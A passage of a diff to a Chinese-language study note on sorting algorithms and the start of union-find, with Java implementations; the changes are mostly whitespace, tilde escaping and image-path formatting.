-        return v.compareTo(w) < 0;
-    }
+    protected boolean less(T v, T w) {
+        return v.compareTo(w) < 0;
+    }
 
-    protected void swap(T[] a, int i, int j) {
-        T t = a[i];
-        a[i] = a[j];
-        a[j] = t;
-    }
+    protected void swap(T[] a, int i, int j) {
+        T t = a[i];
+        a[i] = a[j];
+        a[j] = t;
+    }
 }
 ```
 
-## 选择排序
+## 选择排序
 
 选择出数组中的最小元素，将它与数组的第一个元素交换位置。再从剩下的元素中选择出最小的元素，将它与数组的第二个元素交换位置。不断进行这样的操作，直到将整个数组排序。
 
-选择排序需要 ~N<sup>2</sup>/2 次比较和 ~N 次交换，它的运行时间与输入无关，这个特点使得它对一个已经排序的数组也需要这么多的比较和交换操作。
+选择排序需要 \~N<sup>2</sup>/2 次比较和 \~N 次交换，它的运行时间与输入无关，这个特点使得它对一个已经排序的数组也需要这么多的比较和交换操作。
 
-<img src="index_files/37e79a32-95a9-4503-bdb1-159527e628b8.png" width="250"/>
+<div align="center"> <img src="pics/37e79a32-95a9-4503-bdb1-159527e628b8.png" width="250"/> </div><br>
 
 ```java
-public class Selection<T extends Comparable<T>> extends Sort<T> {
+public class Selection<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        for (int i = 0; i < N - 1; i++) {
-            int min = i;
-            for (int j = i + 1; j < N; j++) {
-                if (less(nums[j], nums[min])) {
-                    min = j;
-                }
-            }
-            swap(nums, i, min);
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        for (int i = 0; i < N - 1; i++) {
+            int min = i;
+            for (int j = i + 1; j < N; j++) {
+                if (less(nums[j], nums[min])) {
+                    min = j;
+                }
+            }
+            swap(nums, i, min);
+        }
+    }
 }
 ```
 
-## 冒泡排序
+## 冒泡排序
 
 从左到右不断交换相邻逆序的元素，在一轮的循环之后，可以让未排序的最大元素上浮到右侧。
 
 在一轮循环中，如果没有发生交换，就说明数组已经是有序的，此时可以直接退出。
 
-以下演示了在一轮循环中，将最大的元素 5 上浮到最右侧。
+以下演示了在一轮循环中，将最大的元素 5 上浮到最右侧。
 
-<img src="index_files/1a2f2998-d0da-41c8-8222-1fd95083a66b.png" width="250"/>
+<div align="center"> <img src="pics/1a2f2998-d0da-41c8-8222-1fd95083a66b.png" width="250"/> </div><br>
 
 ```java
-public class Bubble<T extends Comparable<T>> extends Sort<T> {
+public class Bubble<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        boolean hasSorted = false;
-        for (int i = N - 1; i > 0 && !hasSorted; i--) {
-            hasSorted = true;
-            for (int j = 0; j < i; j++) {
-                if (less(nums[j + 1], nums[j])) {
-                    hasSorted = false;
-                    swap(nums, j, j + 1);
-                }
-            }
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        boolean hasSorted = false;
+        for (int i = N - 1; i > 0 && !hasSorted; i--) {
+            hasSorted = true;
+            for (int j = 0; j < i; j++) {
+                if (less(nums[j + 1], nums[j])) {
+                    hasSorted = false;
+                    swap(nums, j, j + 1);
+                }
+            }
+        }
+    }
 }
 ```
 
-## 插入排序
+## 插入排序
 
 每次都将当前元素插入到左侧已经排序的数组中，使得插入之后左侧数组依然有序。
 
-对于数组 {3, 5, 2, 4, 1}，它具有以下逆序：(3, 2), (3, 1), (5, 2), (5, 4), (5, 1), (2, 1), (4, 1)，插入排序每次只能交换相邻元素，令逆序数量减少 1，因此插入排序需要交换的次数为逆序数量。
+对于数组 {3, 5, 2, 4, 1}，它具有以下逆序：(3, 2), (3, 1), (5, 2), (5, 4), (5, 1), (2, 1), (4, 1)，插入排序每次只能交换相邻元素，令逆序数量减少 1，因此插入排序需要交换的次数为逆序数量。
 
 插入排序的复杂度取决于数组的初始顺序，如果数组已经部分有序了，逆序较少，那么插入排序会很快。
 
-- 平均情况下插入排序需要 ~N<sup>2</sup>/4 比较以及 ~N<sup>2</sup>/4 次交换；
-- 最坏的情况下需要 ~N<sup>2</sup>/2 比较以及 ~N<sup>2</sup>/2 次交换，最坏的情况是数组是倒序的；
-- 最好的情况下需要 N-1 次比较和 0 次交换，最好的情况就是数组已经有序了。
+- 平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换；
+- 最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换，最坏的情况是数组是倒序的；
+- 最好的情况下需要 N-1 次比较和 0 次交换，最好的情况就是数组已经有序了。
 
-以下演示了在一轮循环中，将元素 2 插入到左侧已经排序的数组中。
+以下演示了在一轮循环中，将元素 2 插入到左侧已经排序的数组中。
 
-<img src="index_files/2a8e1442-2381-4439-a83f-0312c8678b1f.png" width="250"/>
+<div align="center"> <img src="pics/2a8e1442-2381-4439-a83f-0312c8678b1f.png" width="250"/> </div><br>
 
 ```java
-public class Insertion<T extends Comparable<T>> extends Sort<T> {
+public class Insertion<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        for (int i = 1; i < N; i++) {
-            for (int j = i; j > 0 && less(nums[j], nums[j - 1]); j--) {
-                swap(nums, j, j - 1);
-            }
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        for (int i = 1; i < N; i++) {
+            for (int j = i; j > 0 && less(nums[j], nums[j - 1]); j--) {
+                swap(nums, j, j - 1);
+            }
+        }
+    }
 }
 ```
 
-## 希尔排序
+## 希尔排序
 
-对于大规模的数组，插入排序很慢，因为它只能交换相邻的元素，每次只能将逆序数量减少 1。
+对于大规模的数组，插入排序很慢，因为它只能交换相邻的元素，每次只能将逆序数量减少 1。
 
-希尔排序的出现就是为了解决插入排序的这种局限性，它通过交换不相邻的元素，每次可以将逆序数量减少大于 1。
+希尔排序的出现就是为了解决插入排序的这种局限性，它通过交换不相邻的元素，每次可以将逆序数量减少大于 1。
 
-希尔排序使用插入排序对间隔 h 的序列进行排序。通过不断减小 h，最后令 h=1，就可以使得整个数组是有序的。
+希尔排序使用插入排序对间隔 h 的序列进行排序。通过不断减小 h，最后令 h=1，就可以使得整个数组是有序的。
 
-<img src="index_files/0157d362-98dd-4e51-ac26-00ecb76beb3e.png" width="500"/>
+<div align="center"> <img src="pics/0157d362-98dd-4e51-ac26-00ecb76beb3e.png" width="500"/> </div><br>
 
 ```java
-public class Shell<T extends Comparable<T>> extends Sort<T> {
+public class Shell<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
+    @Override
+    public void sort(T[] nums) {
 
-        int N = nums.length;
-        int h = 1;
+        int N = nums.length;
+        int h = 1;
 
-        while (h < N / 3) {
-            h = 3 * h + 1; // 1, 4, 13, 40, ...
-        }
+        while (h < N / 3) {
+            h = 3 * h + 1; // 1, 4, 13, 40, ...
+        }
 
-        while (h >= 1) {
-            for (int i = h; i < N; i++) {
-                for (int j = i; j >= h && less(nums[j], nums[j - h]); j -= h) {
-                    swap(nums, j, j - h);
-                }
-            }
-            h = h / 3;
-        }
-    }
+        while (h >= 1) {
+            for (int i = h; i < N; i++) {
+                for (int j = i; j >= h && less(nums[j], nums[j - h]); j -= h) {
+                    swap(nums, j, j - h);
+                }
+            }
+            h = h / 3;
+        }
+    }
 }
 
 ```
 
-希尔排序的运行时间达不到平方级别，使用递增序列 1, 4, 13, 40, ...  的希尔排序所需要的比较次数不会超过 N 的若干倍乘于递增序列的长度。后面介绍的高级排序算法只会比希尔排序快两倍左右。
+希尔排序的运行时间达不到平方级别，使用递增序列 1, 4, 13, 40, ...  的希尔排序所需要的比较次数不会超过 N 的若干倍乘于递增序列的长度。后面介绍的高级排序算法只会比希尔排序快两倍左右。
 
-## 归并排序
+## 归并排序
 
 归并排序的思想是将数组分成两部分，分别进行排序，然后归并起来。
 
-<img src="index_files/220790c6-4377-4a2e-8686-58398afc8a18.png" width="350"/>
+<div align="center"> <img src="pics/220790c6-4377-4a2e-8686-58398afc8a18.png" width="350"/> </div><br>
 
-### 1. 归并方法
+### 1. 归并方法
 
 归并方法将数组中两个已经排序的部分归并成一个。
 
 ```java
-public abstract class MergeSort<T extends Comparable<T>> extends Sort<T> {
+public abstract class MergeSort<T extends Comparable<T>> extends Sort<T> {
 
-    protected T[] aux;
+    protected T[] aux;
 
 
-    protected void merge(T[] nums, int l, int m, int h) {
+    protected void merge(T[] nums, int l, int m, int h) {
 
-        int i = l, j = m + 1;
+        int i = l, j = m + 1;
 
-        for (int k = l; k <= h; k++) {
-            aux[k] = nums[k]; // 将数据复制到辅助数组
-        }
+        for (int k = l; k <= h; k++) {
+            aux[k] = nums[k]; // 将数据复制到辅助数组
+        }
 
-        for (int k = l; k <= h; k++) {
-            if (i > m) {
-                nums[k] = aux[j++];
+        for (int k = l; k <= h; k++) {
+            if (i > m) {
+                nums[k] = aux[j++];
 
-            } else if (j > h) {
-                nums[k] = aux[i++];
+            } else if (j > h) {
+                nums[k] = aux[i++];
 
-            } else if (aux[i].compareTo(nums[j]) <= 0) {
-                nums[k] = aux[i++]; // 先进行这一步，保证稳定性
+            } else if (aux[i].compareTo(nums[j]) <= 0) {
+                nums[k] = aux[i++]; // 先进行这一步，保证稳定性
 
-            } else {
-                nums[k] = aux[j++];
-            }
-        }
-    }
+            } else {
+                nums[k] = aux[j++];
+            }
+        }
+    }
 }
 ```
 
-### 2. 自顶向下归并排序
+### 2. 自顶向下归并排序
 
 将一个大数组分成两个小数组去求解。
 
-因为每次都将问题对半分成两个子问题，这种对半分的算法复杂度一般为 O(NlogN)。
+因为每次都将问题对半分成两个子问题，这种对半分的算法复杂度一般为 O(NlogN)。
 
 ```java
-public class Up2DownMergeSort<T extends Comparable<T>> extends MergeSort<T> {
+public class Up2DownMergeSort<T extends Comparable<T>> extends MergeSort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        aux = (T[]) new Comparable[nums.length];
-        sort(nums, 0, nums.length - 1);
-    }
+    @Override
+    public void sort(T[] nums) {
+        aux = (T[]) new Comparable[nums.length];
+        sort(nums, 0, nums.length - 1);
+    }
 
-    private void sort(T[] nums, int l, int h) {
-        if (h <= l) {
-            return;
-        }
-        int mid = l + (h - l) / 2;
-        sort(nums, l, mid);
-        sort(nums, mid + 1, h);
-        merge(nums, l, mid, h);
-    }
+    private void sort(T[] nums, int l, int h) {
+        if (h <= l) {
+            return;
+        }
+        int mid = l + (h - l) / 2;
+        sort(nums, l, mid);
+        sort(nums, mid + 1, h);
+        merge(nums, l, mid, h);
+    }
 }
 ```
 
-### 3. 自底向上归并排序
+### 3. 自底向上归并排序
 
 先归并那些微型数组，然后成对归并得到的微型数组。
 
 ```java
-public class Down2UpMergeSort<T extends Comparable<T>> extends MergeSort<T> {
+public class Down2UpMergeSort<T extends Comparable<T>> extends MergeSort<T> {
 
-    @Override
-    public void sort(T[] nums) {
+    @Override
+    public void sort(T[] nums) {
 
-        int N = nums.length;
-        aux = (T[]) new Comparable[N];
+        int N = nums.length;
+        aux = (T[]) new Comparable[N];
 
-        for (int sz = 1; sz < N; sz += sz) {
-            for (int lo = 0; lo < N - sz; lo += sz + sz) {
-                merge(nums, lo, lo + sz - 1, Math.min(lo + sz + sz - 1, N - 1));
-            }
-        }
-    }
+        for (int sz = 1; sz < N; sz += sz) {
+            for (int lo = 0; lo < N - sz; lo += sz + sz) {
+                merge(nums, lo, lo + sz - 1, Math.min(lo + sz + sz - 1, N - 1));
+            }
+        }
+    }
 }
 
 ```
 
-## 快速排序
+## 快速排序
 
-### 1. 基本算法
+### 1. 基本算法
 
-- 归并排序将数组分为两个子数组分别排序，并将有序的子数组归并使得整个数组排序；
-- 快速排序通过一个切分元素将数组分为两个子数组，左子数组小于等于切分元素，右子数组大于等于切分元素，将这两个子数组排序也就将整个数组排序了。
+- 归并排序将数组分为两个子数组分别排序，并将有序的子数组归并使得整个数组排序；
+- 快速排序通过一个切分元素将数组分为两个子数组，左子数组小于等于切分元素，右子数组大于等于切分元素，将这两个子数组排序也就将整个数组排序了。
 
-<img src="index_files/f8047846-efd4-42be-b6b7-27a7c4998b51.png" width="500"/>
+<div align="center"> <img src="pics/f8047846-efd4-42be-b6b7-27a7c4998b51.png" width="500"/> </div><br>
 
 ```java
-public class QuickSort<T extends Comparable<T>> extends Sort<T> {
+public class QuickSort<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        shuffle(nums);
-        sort(nums, 0, nums.length - 1);
-    }
+    @Override
+    public void sort(T[] nums) {
+        shuffle(nums);
+        sort(nums, 0, nums.length - 1);
+    }
 
-    private void sort(T[] nums, int l, int h) {
-        if (h <= l)
-            return;
-        int j = partition(nums, l, h);
-        sort(nums, l, j - 1);
-        sort(nums, j + 1, h);
-    }
+    private void sort(T[] nums, int l, int h) {
+        if (h <= l)
+            return;
+        int j = partition(nums, l, h);
+        sort(nums, l, j - 1);
+        sort(nums, j + 1, h);
+    }
 
-    private void shuffle(T[] nums) {
-        List<Comparable> list = Arrays.asList(nums);
-        Collections.shuffle(list);
-        list.toArray(nums);
-    }
+    private void shuffle(T[] nums) {
+        List<Comparable> list = Arrays.asList(nums);
+        Collections.shuffle(list);
+        list.toArray(nums);
+    }
 }
 ```
 
-### 2. 切分
+### 2. 切分
 
-取 a[l] 作为切分元素，然后从数组的左端向右扫描直到找到第一个大于等于它的元素，再从数组的右端向左扫描找到第一个小于它的元素，交换这两个元素。不断进行这个过程，就可以保证左指针 i 的左侧元素都不大于切分元素，右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时，将切分元素 a[l] 和 a[j] 交换位置。
+取 a[l] 作为切分元素，然后从数组的左端向右扫描直到找到第一个大于等于它的元素，再从数组的右端向左扫描找到第一个小于它的元素，交换这两个元素。不断进行这个过程，就可以保证左指针 i 的左侧元素都不大于切分元素，右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时，将切分元素 a[l] 和 a[j] 交换位置。
 
-<img src="index_files/766aedd0-1b00-4065-aa2b-7d31138df84f.png" width="400"/>
+<div align="center"> <img src="pics/766aedd0-1b00-4065-aa2b-7d31138df84f.png" width="400"/> </div><br>
 
 ```java
-private int partition(T[] nums, int l, int h) {
-    int i = l, j = h + 1;
-    T v = nums[l];
-    while (true) {
-        while (less(nums[++i], v) && i != h) ;
-        while (less(v, nums[--j]) && j != l) ;
-        if (i >= j)
-            break;
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(T[] nums, int l, int h) {
+    int i = l, j = h + 1;
+    T v = nums[l];
+    while (true) {
+        while (less(nums[++i], v) && i != h) ;
+        while (less(v, nums[--j]) && j != l) ;
+        if (i >= j)
+            break;
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 ```
 
-### 3. 性能分析
+### 3. 性能分析
 
 快速排序是原地排序，不需要辅助数组，但是递归调用需要辅助栈。
 
-快速排序最好的情况下是每次都正好将数组对半分，这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N，复杂度为 O(NlogN)。
+快速排序最好的情况下是每次都正好将数组对半分，这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N，复杂度为 O(NlogN)。
 
-最坏的情况下，第一次从最小的元素切分，第二次从第二小的元素切分，如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的，在进行快速排序时需要随机打乱数组。
+最坏的情况下，第一次从最小的元素切分，第二次从第二小的元素切分，如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的，在进行快速排序时需要随机打乱数组。
 
-### 4. 算法改进
+### 4. 算法改进
 
-#### 4.1 切换到插入排序
+#### 4.1 切换到插入排序
 
 因为快速排序在小数组中也会递归调用自己，对于小数组，插入排序比快速排序的性能更好，因此在小数组中可以切换到插入排序。
 
-#### 4.2 三数取中
+#### 4.2 三数取中
 
-最好的情况下是每次都能取数组的中位数作为切分元素，但是计算中位数的代价很高。一种折中方法是取 3 个元素，并将大小居中的元素作为切分元素。
+最好的情况下是每次都能取数组的中位数作为切分元素，但是计算中位数的代价很高。一种折中方法是取 3 个元素，并将大小居中的元素作为切分元素。
 
-#### 4.3 三向切分
+#### 4.3 三向切分
 
 对于有大量重复元素的数组，可以将数组切分为三部分，分别对应小于、等于和大于切分元素。
 
 三向切分快速排序对于有大量重复元素的随机数组可以在线性时间内完成排序。
 
 ```java
-public class ThreeWayQuickSort<T extends Comparable<T>> extends QuickSort<T> {
+public class ThreeWayQuickSort<T extends Comparable<T>> extends QuickSort<T> {
 
-    @Override
-    protected void sort(T[] nums, int l, int h) {
-        if (h <= l) {
-            return;
-        }
-        int lt = l, i = l + 1, gt = h;
-        T v = nums[l];
-        while (i <= gt) {
-            int cmp = nums[i].compareTo(v);
-            if (cmp < 0) {
-                swap(nums, lt++, i++);
-            } else if (cmp > 0) {
-                swap(nums, i, gt--);
-            } else {
-                i++;
-            }
-        }
-        sort(nums, l, lt - 1);
-        sort(nums, gt + 1, h);
-    }
+    @Override
+    protected void sort(T[] nums, int l, int h) {
+        if (h <= l) {
+            return;
+        }
+        int lt = l, i = l + 1, gt = h;
+        T v = nums[l];
+        while (i <= gt) {
+            int cmp = nums[i].compareTo(v);
+            if (cmp < 0) {
+                swap(nums, lt++, i++);
+            } else if (cmp > 0) {
+                swap(nums, i, gt--);
+            } else {
+                i++;
+            }
+        }
+        sort(nums, l, lt - 1);
+        sort(nums, gt + 1, h);
+    }
 }
 ```
 
-### 5. 基于切分的快速选择算法
+### 5. 基于切分的快速选择算法
 
-快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。
+快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。
 
-可以利用这个特性找出数组的第 k 个元素。
+可以利用这个特性找出数组的第 k 个元素。
 
-该算法是线性级别的，假设每次能将数组二分，那么比较的总次数为 (N+N/2+N/4+..)，直到找到第 k 个元素，这个和显然小于 2N。
+该算法是线性级别的，假设每次能将数组二分，那么比较的总次数为 (N+N/2+N/4+..)，直到找到第 k 个元素，这个和显然小于 2N。
 
 ```java
-public T select(T[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (h > l) {
-        int j = partition(nums, l, h);
+public T select(T[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (h > l) {
+        int j = partition(nums, l, h);
 
-        if (j == k) {
-            return nums[k];
+        if (j == k) {
+            return nums[k];
 
-        } else if (j > k) {
-            h = j - 1;
+        } else if (j > k) {
+            h = j - 1;
 
-        } else {
-            l = j + 1;
-        }
-    }
-    return nums[k];
+        } else {
+            l = j + 1;
+        }
+    }
+    return nums[k];
 }
 ```
 
-## 堆排序
+## 堆排序
 
-### 1. 堆
+### 1. 堆
 
 堆中某个节点的值总是大于等于其子节点的值，并且堆是一颗完全二叉树。
 
-堆可以用数组来表示，这是因为堆是完全二叉树，而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2，而它的两个子节点的位置分别为 2k 和 2k+1。这里不使用数组索引为 0 的位置，是为了更清晰地描述节点的位置关系。
+堆可以用数组来表示，这是因为堆是完全二叉树，而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2，而它的两个子节点的位置分别为 2k 和 2k+1。这里不使用数组索引为 0 的位置，是为了更清晰地描述节点的位置关系。
 
-<img src="index_files/f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/>
+<div align="center"> <img src="pics/f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
 
 ```java
-public class Heap<T extends Comparable<T>> {
+public class Heap<T extends Comparable<T>> {
 
-    private T[] heap;
-    private int N = 0;
+    private T[] heap;
+    private int N = 0;
 
-    public Heap(int maxN) {
-        this.heap = (T[]) new Comparable[maxN + 1];
-    }
+    public Heap(int maxN) {
+        this.heap = (T[]) new Comparable[maxN + 1];
+    }
 
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
-    public int size() {
-        return N;
-    }
+    public int size() {
+        return N;
+    }
 
-    private boolean less(int i, int j) {
-        return heap[i].compareTo(heap[j]) < 0;
-    }
+    private boolean less(int i, int j) {
+        return heap[i].compareTo(heap[j]) < 0;
+    }
 
-    private void swap(int i, int j) {
-        T t = heap[i];
-        heap[i] = heap[j];
-        heap[j] = t;
-    }
+    private void swap(int i, int j) {
+        T t = heap[i];
+        heap[i] = heap[j];
+        heap[j] = t;
+    }
 }
 ```
 
-### 2. 上浮和下沉
+### 2. 上浮和下沉
 
 在堆中，当一个节点比父节点大，那么需要交换这个两个节点。交换后还可能比它新的父节点大，因此需要不断地进行比较和交换操作，把这种操作称为上浮。
 
-<img src="index_files/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/>
+<div align="center"> <img src="pics/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/> </div><br>
 
 ```java
-private void swim(int k) {
-    while (k > 1 && less(k / 2, k)) {
-        swap(k / 2, k);
-        k = k / 2;
-    }
+private void swim(int k) {
+    while (k > 1 && less(k / 2, k)) {
+        swap(k / 2, k);
+        k = k / 2;
+    }
 }
 ```
 
 类似地，当一个节点比子节点来得小，也需要不断地向下进行比较和交换操作，把这种操作称为下沉。一个节点如果有两个子节点，应当与两个子节点中最大那个节点进行交换。
 
-<img src="index_files/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/>
+<div align="center"> <img src="pics/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/> </div><br>
 
 ```java
-private void sink(int k) {
-    while (2 * k <= N) {
-        int j = 2 * k;
-        if (j < N && less(j, j + 1))
-            j++;
-        if (!less(k, j))
-            break;
-        swap(k, j);
-        k = j;
-    }
+private void sink(int k) {
+    while (2 * k <= N) {
+        int j = 2 * k;
+        if (j < N && less(j, j + 1))
+            j++;
+        if (!less(k, j))
+            break;
+        swap(k, j);
+        k = j;
+    }
 }
 ```
 
-### 3. 插入元素
+### 3. 插入元素
 
 将新元素放到数组末尾，然后上浮到合适的位置。
 
 ```java
-public void insert(Comparable v) {
-    heap[++N] = v;
-    swim(N);
+public void insert(Comparable v) {
+    heap[++N] = v;
+    swim(N);
 }
 ```
 
-### 4. 删除最大元素
+### 4. 删除最大元素
 
 从数组顶端删除最大的元素，并将数组的最后一个元素放到顶端，并让这个元素下沉到合适的位置。
 
 ```java
-public T delMax() {
-    T max = heap[1];
-    swap(1, N--);
-    heap[N + 1] = null;
-    sink(1);
-    return max;
+public T delMax() {
+    T max = heap[1];
+    swap(1, N--);
+    heap[N + 1] = null;
+    sink(1);
+    return max;
 }
 ```
 
-### 5. 堆排序
+### 5. 堆排序
 
 把最大元素和当前堆中数组的最后一个元素交换位置，并且不删除它，那么就可以得到一个从尾到头的递减序列，从正向来看就是一个递增序列，这就是堆排序。
 
-#### 5.1 构建堆
+#### 5.1 构建堆
 
 无序数组建立堆最直接的方法是从左到右遍历数组进行上浮操作。一个更高效的方法是从右至左进行下沉操作，如果一个节点的两个节点都已经是堆有序，那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作，可以忽略叶子节点的元素，因此只需要遍历一半的元素即可。
 
-<img src="index_files/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/>
+<div align="center"> <img src="pics/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
 
-#### 5.2 交换堆顶元素与最后一个元素
+#### 5.2 交换堆顶元素与最后一个元素
 
 交换之后需要进行下沉操作维持堆的有序状态。
 
-<img src="index_files/51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="270"/>
+<div align="center"> <img src="pics/51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="270"/> </div><br>
 
-<img src="index_files/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png" width="350"/>
+<div align="center"> <img src="pics/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png" width="350"/> </div><br>
 
 ```java
-public class HeapSort<T extends Comparable<T>> extends Sort<T> {
-    /**
-     * 数组第 0 个位置不能有元素
-     */
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length - 1;
-        for (int k = N / 2; k >= 1; k--)
-            sink(nums, k, N);
+public class HeapSort<T extends Comparable<T>> extends Sort<T> {
+    /**
+     * 数组第 0 个位置不能有元素
+     */
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length - 1;
+        for (int k = N / 2; k >= 1; k--)
+            sink(nums, k, N);
 
-        while (N > 1) {
-            swap(nums, 1, N--);
-            sink(nums, 1, N);
-        }
-    }
+        while (N > 1) {
+            swap(nums, 1, N--);
+            sink(nums, 1, N);
+        }
+    }
 
-    private void sink(T[] nums, int k, int N) {
-        while (2 * k <= N) {
-            int j = 2 * k;
-            if (j < N && less(nums, j, j + 1))
-                j++;
-            if (!less(nums, k, j))
-                break;
-            swap(nums, k, j);
-            k = j;
-        }
-    }
+    private void sink(T[] nums, int k, int N) {
+        while (2 * k <= N) {
+            int j = 2 * k;
+            if (j < N && less(nums, j, j + 1))
+                j++;
+            if (!less(nums, k, j))
+                break;
+            swap(nums, k, j);
+            k = j;
+        }
+    }
 
-    private boolean less(T[] nums, int i, int j) {
-        return nums[i].compareTo(nums[j]) < 0;
-    }
+    private boolean less(T[] nums, int i, int j) {
+        return nums[i].compareTo(nums[j]) < 0;
+    }
 }
 ```
 
-### 6. 分析
+### 6. 分析
 
-一个堆的高度为 logN，因此在堆中插入元素和删除最大元素的复杂度都为 logN。
+一个堆的高度为 logN，因此在堆中插入元素和删除最大元素的复杂度都为 logN。
 
-对于堆排序，由于要对 N 个节点进行下沉操作，因此复杂度为 NlogN。
+对于堆排序，由于要对 N 个节点进行下沉操作，因此复杂度为 NlogN。
 
 堆排序是一种原地排序，没有利用额外的空间。
 
 现代操作系统很少使用堆排序，因为它无法利用局部性原理进行缓存，也就是数组元素很少和相邻的元素进行比较和交换。
 
-## 小结
+## 小结
 
-### 1. 排序算法的比较
+### 1. 排序算法的比较
 
-| 算法 | 稳定性 | 时间复杂度 | 空间复杂度 | 备注 |
-| :---: | :---: |:---: | :---: | :---: |
-| 选择排序 | × | N<sup>2</sup> | 1 | |
-| 冒泡排序 | √ |  N<sup>2</sup> | 1 | |
-| 插入排序 | √ |  N ~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
-| 希尔排序 | ×  |  N 的若干倍乘于递增序列的长度 | 1 | 改进版插入排序 |
-| 快速排序 | ×  | NlogN | logN | |
-| 三向切分快速排序 | ×  |  N ~ NlogN | logN | 适用于有大量重复主键|
-| 归并排序 | √ |  NlogN | N | |
-| 堆排序 | ×  |  NlogN | 1 | 无法利用局部性原理|
+| 算法 | 稳定性 | 时间复杂度 | 空间复杂度 | 备注 |
+| :---: | :---: |:---: | :---: | :---: |
+| 选择排序 | × | N<sup>2</sup> | 1 | |
+| 冒泡排序 | √ |  N<sup>2</sup> | 1 | |
+| 插入排序 | √ |  N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
+| 希尔排序 | ×  |  N 的若干倍乘于递增序列的长度 | 1 | 改进版插入排序 |
+| 快速排序 | ×  | NlogN | logN | |
+| 三向切分快速排序 | ×  |  N \~ NlogN | logN | 适用于有大量重复主键|
+| 归并排序 | √ |  NlogN | N | |
+| 堆排序 | ×  |  NlogN | 1 | 无法利用局部性原理|
 
-快速排序是最快的通用排序算法，它的内循环的指令很少，而且它还能利用缓存，因为它总是顺序地访问数据。它的运行时间近似为 ~cNlogN，这里的 c 比其它线性对数级别的排序算法都要小。
+快速排序是最快的通用排序算法，它的内循环的指令很少，而且它还能利用缓存，因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN，这里的 c 比其它线性对数级别的排序算法都要小。
 
 使用三向切分快速排序，实际应用中可能出现的某些分布的输入能够达到线性级别，而其它排序算法仍然需要线性对数时间。
 
-### 2. Java 的排序算法实现
+### 2. Java 的排序算法实现
 
-Java 主要排序方法为 java.util.Arrays.sort()，对于原始数据类型使用三向切分的快速排序，对于引用类型使用归并排序。
+Java 主要排序方法为 java.util.Arrays.sort()，对于原始数据类型使用三向切分的快速排序，对于引用类型使用归并排序。
 
-# 四、并查集
+# 四、并查集
 
 用于解决动态连通性问题，能动态连接两个点，并且判断两个点是否连通。
 
-<img src="index_files/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/>
+<div align="center"> <img src="pics/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
 
-| 方法 | 描述 |
-| :---: | :---: |
-| UF(int N) | 构造一个大小为 N 的并查集 |
-| void union(int p, int q) | 连接 p 和 q 节点 |
-| int find(int p) | 查找 p 所在的连通分量编号 |
-| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
+| 方法 | 描述 |
+| :---: | :---: |
+| UF(int N) | 构造一个大小为 N 的并查集 |
+| void union(int p, int q) | 连接 p 和 q 节点 |
+| int find(int p) | 查找 p 所在的连通分量编号 |
+| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
 
 ```java
-public abstract class UF {
+public abstract class UF {
 
-    protected int[] id;
+    protected int[] id;
 
-    public UF(int N) {
-        id = new int[N];
-        for (int i = 0; i < N; i++) {
-            id[i] = i;
-        }
-    }
+    public UF(int N) {
+        id = new int[N];
+        for (int i = 0; i < N; i++) {
+            id[i] = i;
+        }
+    }
 
